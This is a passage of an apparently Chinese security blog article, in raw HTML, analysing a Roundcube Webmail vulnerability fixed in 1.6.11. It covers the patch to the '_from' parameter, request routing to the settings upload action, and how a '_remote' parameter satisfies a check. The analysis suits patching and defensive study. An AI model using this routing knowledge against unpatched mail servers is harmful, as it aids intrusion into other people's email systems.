rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">1.6.11</span></p><span leaf=""> 以下版本。</span></div><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">补丁对比</span></h2><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">补丁地址： <a href="https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d" target="_blank">https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d</a> 。</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rcmail_action_settings_upload::run</span></p><span leaf=""> 函数中新增了对请求参数 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_from</span></p><span leaf=""> 的格式检查，将其限定为简单字符串类型：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008454" class="rich_pages wxw-img" data-ratio="0.37414299706170423" data-type="png" data-w="1021" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=9b8972f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRt54m0Ht8UqEiallcZQSIXhO8DCyEGicD8C39oluCEs3yk9k7YyFfMesg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">请求路由分析</span></h2><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">首先分析一下到达 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rcmail_action_settings_upload::run</span></p><span leaf=""> 的请求路由。 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rcmail_action_settings_upload</span></p><span leaf=""> 继承了 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rcmail_action</span></p><span leaf=""> 抽象类，分析可知 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rcmail_action</span></p><span leaf=""> 子类主要用于处理对应的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">HTTP</span></p><span leaf=""> 请求。</span></div><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在系统首页 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">index.php</span></p><span leaf="">中将调用</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$RCMAIL-&gt;action_handler</span></p><span leaf="">进行路由分发。进入</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">action_handler</span></p><span leaf="">函数，提取</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">task</span></p><span leaf="">和</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">action</span></p><span leaf="">变量（来自于请求参数</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_task</span></p><span leaf="">和</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_action</span></p><span leaf="">）, 并尝试创建处理请求的</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rcmail_action</span></p><span leaf="">对象。函数中存在多种类创建方式，比如</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rcmail_action_{$task}_index</span></p><span leaf="">，但是显然</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rcmail_action_settings_upload</span></p><span leaf=""> 满足不了这种格式要求 ：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008452" class="rich_pages wxw-img" data-ratio="0.5427728613569321" data-type="png" data-w="1017" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=a5215892&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRSibmH6Q19s8KUB5shk9iacuSLWPsqx0NShdJRTd08G91SHj0O0RrZdHQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">往下看还有另一种获取 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$class</span></p><span leaf=""> 的方式： </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rcmail_action_{$task}_{$action}</span></p><span leaf=""> ，如果类存在将调用其 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">run</span></p><span leaf=""> 函数：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008455" class="rich_pages wxw-img" data-ratio="0.5631174533479693" data-type="png" data-w="911" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=acf98643&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRgq6NWQBsD4vSeXJXQQE9CjnkZphFmMic4WvMAAvGT86ibshhXZIdpp9w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">需要注意在调用 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">run</span></p><span leaf=""> 之前存在 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">check</span></p><span leaf=""> 检查：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008453" class="rich_pages wxw-img" data-ratio="0.44491080797481636" data-type="png" data-w="953" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=7e89c04a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibR6oHiaaHPRc2tzYRgvBVdCUnZtSDslxIqicl5m7d4hGsXHpWj9T1FNmJg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">可以在请求中加入 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_remote</span></p><span leaf=""> 参数，确保 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$rcmail-&gt;output-&gt;ajax_call</span></p><span leaf=""> 非空从而使得 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">check</span></p><span leaf=""> 函数返回值为 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">true</span></p><span leaf=""> ：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008451" class="rich_pages wxw-img" data-ratio="0.22583826429980275" data-type="png" data-w="1014" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=5fe3552b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRk9bH2m1Z58bZQ8eWDFN2jZ8ib9vzm5An1L5nGGXupIEc8gZH8L5e2Sw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img 